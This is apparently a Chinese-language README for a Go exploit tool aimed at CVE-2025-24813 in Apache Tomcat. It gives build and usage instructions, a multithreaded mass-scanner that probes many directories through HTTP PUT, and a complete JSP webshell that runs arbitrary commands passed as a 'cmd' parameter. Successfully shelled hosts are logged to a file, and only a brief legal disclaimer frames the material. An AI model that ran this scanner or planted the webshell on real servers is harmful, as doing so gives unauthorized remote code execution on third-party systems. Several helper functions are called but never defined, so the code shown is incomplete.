Apache_GoExploiter - CVE-2025-24813 漏洞利用工具
Apache_GoExploiter 是一个用Go语言编写的概念验证(PoC)工具,专门用于扫描和利用受 CVE-2025-24813 漏洞影响的Apache Tomcat服务器。它能够自动检测端口8080上的HTTP PUT方法支持,并尝试将测试文件或WebShell上传到可写的目录中。
功能特性
- 🔍 自动主机检测:支持从
example.com或http://example.com格式的输入中自动构建http://<host>:8080测试目标 - ⚡ 多线程扫描:通过
-threads参数支持并发扫描,提高检测效率 - ✍️ PUT方法测试:检测目标服务器是否支持HTTP PUT方法
- 📁 目录可写性验证:测试多个常见目录是否可写,包括/uploads、/upload、/files等
- 🐚 可选WebShell上传:在发现可写目录时,可上传JSP WebShell文件
- 💾 结果自动保存:将成功的检测结果保存到输出文件中以便后续分析
- 🔄 跨平台支持:可编译为Windows和Linux可执行文件
安装指南
从源码编译安装
Linux系统:
go build -o Apache_GoExploiter Apache_GoExploiter.go
Windows系统:
go build -o Apache_GoExploiter.exe Apache_GoExploiter.go
使用预编译脚本
项目提供了build.sh脚本,可一键编译跨平台版本:
chmod +x build.sh
./build.sh
执行后将在当前目录生成:
Apache_GoExploiter_amd64_windows.exe- Windows 64位可执行文件Apache_GoExploiter_amd64_linux- Linux 64位可执行文件
使用说明
基础使用方法
# 使用Go直接运行(无需编译)
go run Apache_GoExploiter.go -list list.txt -threads 50
# 使用编译后的程序
./Apache_GoExploiter -list list.txt -threads 50
参数说明
-list:指定包含目标URL列表的文件-threads:设置并发线程数(默认值可根据实际需求调整)
输入文件格式
创建目标列表文件(如list.txt),格式如下:
http://example.com
example.org
192.168.1.100
注意:无需在列表中指定端口号:8080,工具会自动添加并测试该端口。
输出文件
工具运行后会生成以下结果文件:
| 文件名称 | 描述 |
|---|---|
PUT_VULN.txt | 成功响应HTTP PUT请求的目标列表 |
Shelled.txt | 成功上传WebShell文件的目标列表(找到可写目录) |
核心代码
1. HTTP客户端配置与工具函数
// 定义HTTP客户端,配置超时和TLS设置
var (
client = &http.Client{
Timeout: 10 * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // 忽略SSL证书验证
MaxIdleConns: 100,
MaxIdleConnsPerHost: 100,
IdleConnTimeout: 30 * time.Second,
},
}
// 用户代理字符串,模拟浏览器请求
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36"
)
// 颜色输出函数,用于终端显示
func red(text string) string { return "\033[1;31m" + text + "\033[0m" }
func green(text string) string { return "\033[1;32m" + text + "\033[0m" }
func yellow(text string) string { return "\033[1;33m" + text + "\033[0m" }
func magenta(text string) string { return "\033[1;35m" + text + "\033[0m" }
func cyan(text string) string { return "\033[1;36m" + text + "\033[0m" }
2. 测试目录列表与JSP WebShell
// 常见可写目录列表,用于测试PUT请求
var DIR_List = []string{
"",
"/uploads",
"/upload",
"/files",
"/file_upload",
"/user_uploads",
"/userfiles",
"/user_files",
"/media",
"/images",
"/img",
"/docs",
"/documents",
"/assets",
"/downloads",
"/static",
"/public",
"/user_content",
"/attachments",
"/tmp",
"/temp",
"/backup",
"/backups",
"/export",
"/exports",
"/import",
"/imports",
"/data",
"/content",
"/gallery",
"/photos",
"/pics",
"/webdav",
"/work",
"/logs",
"/webapps",
"/ROOT"}
// JSP WebShell代码,用于上传到目标服务器
var SHELL_JSP = `<%@ page import="java.io.*" %>
<html><body>
<form method="GET"><input type="text" name="cmd"><input type="submit" value="Run"></form>
<% if(request.getParameter("cmd") != null) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String l; while((l=r.readLine())!=null){ out.println(l+"<br>"); } } %>
</body></html>`
3. 跨平台编译脚本
#!/bin/bash
FILE="Apache_GoExploiter"
# 编译Windows版本
GOOS=windows GOARCH=amd64 go build -o ${FILE}_amd64_windows.exe ${FILE}.go
# 编译Linux版本
GOOS=linux GOARCH=amd64 go build -o ${FILE}_amd64_linux ${FILE}.go
echo "编译完成:"
echo " - ${FILE}_amd64_windows.exe"
echo " - ${FILE}_amd64_linux"
4. 主程序框架
package main
import (
"bufio"
"bytes"
"crypto/tls"
"flag"
"fmt"
"io"
"net/http"
"os"
"strings"
"sync"
"sync/atomic"
"time"
)
// 全局计数器
var (
count int64 // 已处理计数器
total int64 // 总目标数
)
func main() {
// 定义命令行参数
listFile := flag.String("list", "", "目标列表文件")
threads := flag.Int("threads", 10, "并发线程数")
flag.Parse()
// 参数验证
if *listFile == "" {
fmt.Println(red("错误: 必须指定目标列表文件"))
flag.Usage()
os.Exit(1)
}
// 读取目标列表
targets, err := readTargets(*listFile)
if err != nil {
fmt.Println(red("读取目标列表失败:"), err)
os.Exit(1)
}
// 设置总目标数
total = int64(len(targets))
fmt.Printf(green("开始扫描 %d 个目标,线程数: %d\n"), total, *threads)
// 创建工作队列和WaitGroup
workChan := make(chan string, *threads)
var wg sync.WaitGroup
// 启动工作线程
for i := 0; i < *threads; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for target := range workChan {
processTarget(target)
}
}()
}
// 分发工作任务
for _, target := range targets {
workChan <- target
}
close(workChan)
wg.Wait()
fmt.Println(green("扫描完成!"))
}
// 读取目标列表文件
func readTargets(filename string) ([]string, error) {
file, err := os.Open(filename)
if err != nil {
return nil, err
}
defer file.Close()
var targets []string
scanner := bufio.NewScanner(file)
for scanner.Scan() {
line := strings.TrimSpace(scanner.Text())
if line != "" && !strings.HasPrefix(line, "#") {
targets = append(targets, line)
}
}
return targets, scanner.Err()
}
// 处理单个目标
func processTarget(target string) {
// 原子递增计数器
atomic.AddInt64(&count, 1)
current := atomic.LoadInt64(&count)
// 进度显示
fmt.Printf("[%d/%d] 测试目标: %s\n", current, total, target)
// 构建测试URL(确保目标格式正确)
testURL := buildTestURL(target)
// 测试PUT方法支持
if testPUTSupport(testURL) {
// 记录到PUT_VULN.txt
saveResult("PUT_VULN.txt", target)
// 测试可写目录
if testWritableDirectories(testURL) {
// 记录到Shelled.txt
saveResult("Shelled.txt", target)
}
}
}
// 构建测试URL
func buildTestURL(target string) string {
// 清理协议前缀,确保格式正确
target = strings.TrimPrefix(target, "http://")
target = strings.TrimPrefix(target, "https://")
// 确保没有端口号,我们将使用8080端口
if strings.Contains(target, ":") {
parts := strings.Split(target, ":")
target = parts[0]
}
return "http://" + target + ":8080"
}
CVE-2025-24813 漏洞详情
Apache Tomcat在某些配置不当的上下文(如WebDAV)中允许通过PUT方法进行文件上传。如果启用此功能:
- 攻击者可能上传任意文件(如JSP WebShell)
- 可能不需要身份验证
- 可写目录可能允许代码执行
法律声明
⚠️ 警告:此工具仅用于教育目的和授权安全测试。
请勿扫描您不拥有或未经许可测试的域名。未经授权使用可能违反适用法律,并可能受到法律处罚。 6HFtX5dABrKlqXeO5PUv/5t4O15U6n/HeyKih+/gcUKahyzTpKSz/RoLsWxE/gkF